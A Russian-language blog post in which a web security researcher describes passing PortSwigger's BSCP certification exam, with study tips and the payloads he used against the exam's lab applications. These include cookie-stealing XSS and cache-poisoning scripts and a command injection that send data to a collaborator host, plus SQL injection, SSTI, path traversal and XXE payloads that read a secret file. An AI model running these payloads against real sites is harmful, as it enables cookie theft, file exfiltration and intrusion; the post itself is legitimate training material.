Привет!
Меня зовут Владимир и я старший исследователь веб-уязвимостей.
На днях я успешно сдал сертификацию от PortSwigger BSCP (Burp Suite Certified Practitioner) и хочу поделиться своим опытом и советами, а также разобрать что вообще встречается на экзамене.
В данной статье будет разобран сам экзамен и его пробные версии, список тем и обзор лаб в PortSwigger Academy и так уже есть везде, где только можно, так что эти темы затронуты не будут.
Пробные экзамены
Перед сдачей PortSwigger настоятельно рекомендуют прорешать, как минимум, один пробный экзамен, который состоит из одного уязвимого приложения, где необходимо получить первичный доступ, повыситься до админа, а потом стянуть с защищаемой машины флаг, на всё про всё вам даётся 2 часа. Всего таких экзаменов два, то есть 2 пробных экзамена равносильны одному настоящему, где вам выдается 2 сервиса на 4 часа.
В целом, пробные экзамены вещь полезная и они действительно забросят вас в максимально похожие на экзамен условия, но есть одно НО. Оба экзамена представляют собой, фактически, один и тот же вектор: XSS -> SQL Injection -> Insecure Deserialization. Разница лишь в XSS'ке и техниках обфускации, после получения первичного доступа уязвимости не то, что идентичны, они одинаковые. Относительно десера, мне он не встретился нигде, тем более с таким странным чейном, как в пробном экзамене.
Впечатление от пробных экзаменов как от проверки скиллов - не очень, так как они содержат довольно посредственные уязвимости, которые не позволяют объективно оценить уровень своей подготовки. Если рассматривать их как знакомство с форматом проведения самого экзамена, то вполне ничего.
Экзамен
Формат
Как я уже упоминал ранее, экзамен представляет собой 2 уязвимых веб‑приложения, в каждом из которых есть 3 уязвимости, на всё это вам даётся 4 часа. Экзамен имеет формат openbook, разрешено всё, до чего вы можете добраться в Интернете: решения, пэйлоады, LLM и прочее, но сдается с автоматическим прокторингом, где записывается звук, ваше видео и экран. Также стоит отметить, что у экзамена не балльная система, а два состояния: решил обе машины — «сдал» или же что‑то не решил и «не сдал».
Стоит принять тот факт, что скорее всего вы не сдадите экзамен с первой попытки и, к сожалению, это естественно. 4 часа — это мало, действительно очень мало. После решения пробных экзаменов может показаться, что полностью пробить одно приложение за 2 часа проще простого, но это не так.
Реальный экзамен сложнее, чем вы думаете. XSS в base64 на пробном экзамене — это не XSS через Web Cache Poisoning, не DOM based и уж тем более не CL.TE HTTP request smuggling в качестве уязвимости для получения первичного доступа.
Уязвимости
В сети есть таблицы встречающихся на экзамене уязвимостей, например такая:
Да, бытуют легенды, что на экзамене правда может встретиться Clickjacking, тем не менее, я молился и за остальных молюсь, чтобы это было не правдой.
В действительности большинство уязвимостей, встречающихся на экзамене — это что‑то привычное. Почти 100% вам попадётся SQL инъекция для повышения до администратора, а также XSS или Access Control Vulnerabilities, в виде брутфорса для первичного доступа.
Уязвимости, с которыми встречался я в процессе сдачи экзамена:
Initial Access
Brute force
Web cache poisoning
XSS
CL.TE HTTP request smuggling
Root Access
SQL Injection
CSRF
Access Control Vulnerabilities (брутфорс параметра RoleID)
File listing
SSTI
Path Traversal
XXE
OS Command Injection
Как я сдавал
В этом разделе я приведу ряд пэйлоадов, которые я писал в рамках экзамена:
Web cache poisoning
Домашняя страница позволяет при помощи заголовка X-Forwarded-Host: exploit-server.net изменить ссылку загружаемого скрипта /resources/js/tracking.js:
На exploit-server.net создаём файл /resources/js/tracking.js с содержимым:
document.location='https://d1fueh5142jhajkc88hr0jmmqdw9kz8o.oastify.com/?cookies='+document.cookie;XSS
<script>
location = "https://app1.web-security-academy.net/?query=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2Fcollaborator.oastify.com%2F%3Fc%3D%22%2Bdocument.cookie%3E"
</script>CL.TE HTTP request smuggling
GET запрос в корень переделываем в POST с версией HTTP/1.1, далее натравливаем на него HTTP Request Smuggler для обнаружения уязвимости, после этого обнаруженную уязвимость во вкладке Dashboard эксплуатируем через тот же самый Smuggler.
Пэйлоад будет выглядеть так:
prefix = '''POST /post/comment HTTP/1.1
Host: app1.web-security-academy.net
Cookie: session=Bf7h0Scdp6DiQ4QxTpZok3z1m2jkoucb;
Content-Length: 1500
csrf=IKFV7IlL0ylgZZdyDIfJuwSyb7XRfzD6&userAgent=&postId=9&name=123&email=123@gmail.com&website=&comment=X'''SQL Injection
Все инъекции в рамках экзамена спокойно эксплуатируются при помощи sqlmap. Пример:
sqlmap -u 'https://app1.web-security-academy.net/search-advanced?query=anime&sort=AUTHOR&blogArtist=' -H 'Cookie: session=7xx8WFmGHuqVTxVhgjJrVg7IUfcDlu9Q' -p 'query' -batch --level 5и далее вытягиваем БД, таблицы и дампим нужную, как правило, это БД public и таблица users.
CSRF
На экзамене не встречается уязвимостей с CSRF токеном, не привязанным к сессии, поэтому в качестве явного признака CSRF можно спокойно использовать факт возможности отправки запроса без CSRF токена.
С пэйлоадами же отлично справляются Burp Engagement Tools с их генератором CSRF PoC'ов:
<html>
<!— CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://app1.web-security-academy.net/account/update_email" method="POST">
<input type="hidden" name="email" value="attacker@exploit-unique-domain.exploit-server.net" />
<input type="hidden" name="form-id" value="Yb5Gau" />
<meta name="referrer" content="no-referrer">
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>Access Control Vulnerabilities (RoleID brute force)
У нас есть возможность передачи параметра roleid с числовым значением в запросе, так что мы просто брутим его пока не найдем roleid администратора:
POST /account/update-email HTTP/2
Host: app1.web-security-academy.net
Cookie: session=9jBZklpji4ABP2mau9ry7NedYOog3swt
Content-Length: 81
{"csrf":"XvKEKiqkpM1gP22vBSZf0A8nWXpuUy6h","email":"kek@meme.ru",
"roleid": 89}SSTI
У администратора есть возможность изменения шаблона письма для восстановления пароля, поэтому эксплуатируем SSTI:
POST /admin-controls/update-reset-email HTTP/2
Host: app1.web-security-academy.net
Cookie: session=k81F3ZGz7bnLPJqrC4vPDeU29is2HNDQ
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
newEmail={{+''.__class__.__mro__[2].__subclasses__()[40]('/home/carlos/secret').read()+}}&csrf=Mlu6yKKguv5gd7z08izT34zokRkcjjejPath Traversal
Тут все просто, вместо картинки обращаемся к файлу с обфускацией через double URL-encode:
GET /admin_controls/metrics/admin_image?file_name=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fhome%252fcarlos%252f%2573ecret HTTP/2XXE
Тут мне попадался и Blind XXE через внешний DTD, и обычный Blind подобного формата:
<?xml version="1.0" encoding="UTF-8"?>
<users>
<user>
<username>njnjn</username>
<email>`nslookup -q=cname $(cat /home/carlos/secret).collaborator.oastify.com`</email>
</user>
</users>OS Command Injection
Тут можно было передать команду в GET-параметр image_size:
GET /admin-panel/metrics/adminimg?picture=6&image_size=%221|curl+--data+%40/home/carlos/secret+collaborator.oastify.com%26" HTTP/2Советы
Как я говорил ранее, 4 часа — это очень мало, так что заранее рекомендую вам установить и научиться пользоваться всеми необходимыми расширениями, такими как:
Java Deserialization Scanner
Hackvertor
HTTP Request Smuggler
Turbo Intruder
JWT Editor
JSON Web Tokens
Param Miner
Collaborator Everywhere (опционально)
Из дополнительного софта вам потребуется ysoserial и настоятельно рекомендую sqlmap, который позволит вам сэкономить кучу драгоценного времени.
Весь экзамен проходит по вектору Initial access -> Root -> File, помните это и ищите уязвимости только в новом функционале на каждом этапе.
Полезные ссылки
Шпаргалка по XSS с тэгами, событиями и примерами эксплойтов:
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
Словарь пользователей:
https://portswigger.net/web-security/authentication/auth-lab-usernames
Словарь паролей:
https://portswigger.net/web-security/authentication/auth-lab-passwords
ЗАБУДЬТЕ О СУЩЕСТВОВАНИИ rockyou.txt И ПРОЧИХ СЛОВАРЕЙ НА ВРЕМЯ ЭКЗАМЕНА.
В рамках экзамена весь брут укладывается в эти словари.
Алгоритм тестирования
Самое тяжелое на экзамене - получить первичный доступ.
Для себя я выработал следующий путь:
Добавляем в Scope домены приложений и их поддомены.
Сразу на оба приложения травим Intruder с брутом аутентификации.
Пока работает Intruder, при наличии поиска пытаемся кинуть пару стандартных пэйлоадов для XSS, при отсутствии поиска смотрим главную страницу на наличие кэширования или на наличие DOM sink'ов, также смотрим сами посты на наличие возможности отправки комментариев и уязвимостей в них.
В большинстве случаев этот пункт вам уже не понадобится, так как Initial access зачастую получается либо брутом, либо через главную страницу. Тем не менее, на экзамене распространен Password reset poisoning via middleware, например отправка ссылки на сброс пароля на Collaborator через
X-Forwarded-Host.
Описанные действия помогут в первые полчаса либо получить первичный доступ, либо хотя бы точно понять вектор атаки.
Напоследок, не забывайте об обфускации, зачастую plain text эксплойты у вас не заведутся и заставят вас посидеть над обфускацией.
Заключение
После решения двух машин вас попросят загрузить.zip архив с вашим Burp проектом и возьмут некоторое время на проверку. В течение 1–2 суток вам придет заветное письмо с сертификатом.
В целом, экзамен, а главное подготовка к нему действительно учат и помогают обрести более фундаментальные навыки анализа защищенности веб‑приложений.
Благодарю вас за прочтение статьи и успехов в получении сертификата!
